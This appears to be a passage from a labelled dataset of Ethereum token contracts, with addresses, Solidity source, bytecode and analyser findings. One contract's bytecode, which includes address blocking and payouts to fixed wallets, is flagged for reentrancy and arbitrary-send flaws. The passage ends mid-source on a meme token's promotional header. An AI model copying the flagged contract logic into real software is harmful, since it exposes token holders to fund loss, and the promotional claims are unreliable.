ffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d7ed1c17e7b439af6014a581b4750360fa14379bba3fe88e7fff7a7518dc9a7864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,332 |
0xdd261b2ebebf495e8f7a5f107aa6f76bb1996a9b
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract VRToken is StandardToken {
string public constant name = "VRToken"; // solium-disable-line uppercase
string public constant symbol = "VRT"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 25 * (10 ** 8) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function VRToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a35780632ff2e9dc146101cb578063313ce567146101de578063661884631461020757806370a082311461022957806395d89b4114610248578063a9059cbb1461025b578063d73dd6231461027d578063dd62ed3e1461029f575b600080fd5b34156100c957600080fd5b6100d16102c4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356102fb565b604051901515815260200160405180910390f35b341561018957600080fd5b610191610367565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a036004358116906024351660443561036d565b34156101d657600080fd5b6101916104ed565b34156101e957600080fd5b6101f16104fd565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016a600160a060020a0360043516602435610502565b341561023457600080fd5b610191600160a060020a03600435166105fc565b341561025357600080fd5b6100d1610617565b341561026657600080fd5b61016a600160a060020a036004351660243561064e565b341561028857600080fd5b61016a600160a060020a0360043516602435610760565b34156102aa57600080fd5b610191600160a060020a0360043581169060243516610804565b60408051908101604052600781527f5652546f6b656e00000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561038457600080fd5b600160a060020a0384166000908152602081905260409020548211156103a957600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156103dc57600080fd5b600160a060020a038416600090815260208190526040902054610405908363ffffffff61082f16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461043a908363ffffffff61084116565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610480908363ffffffff61082f16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b0813f3978f8940984400000081565b601281565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561055f57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610596565b61056f818463ffffffff61082f16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051908101604052600381527f5652540000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066557600080fd5b600160a060020a03331660009081526020819052604090205482111561068a57600080fd5b600160a060020a0333166000908152602081905260409020546106b3908363ffffffff61082f16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546106e8908363ffffffff61084116565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610798908363ffffffff61084116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561083b57fe5b50900390565b60008282018381101561085057fe5b93925050505600a165627a7a72305820d30c5954f3a51c9d30d3d0bd84b8bd7d9f55954f7333019279ea4db50b4236090029
|
{"success": true, "error": null, "results": {}}
| 9,333 |
0x8ba00663796d42506bf92fb5a85d23bdc861155a
|
/*
https://t.me/levininja
$LeviNinja - Levi Ninja ETH TOKEN
Stealth launch today ✅
Levi Ninja is a key character of Attack On Titan. We added the Ninja element into Levi for creating a new meme token.
“I want to put an end to that recurring nightmare, right now.”
“There are those who would get in my way. But I'm fine playing the role of the lunatic who kills people like that. I have to be ready to rearrange some faces. Because I choose the hell of humans killing each other over the hell of being eaten.”
🔥🔥 Tokenomics 🔥🔥(8% TAX)
5%Buyback and Burn
3% Marketing
1% Dev
Total supply : 1,000,000,000
Slippage on buy/sell : 10%+
No private-sale/Team token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
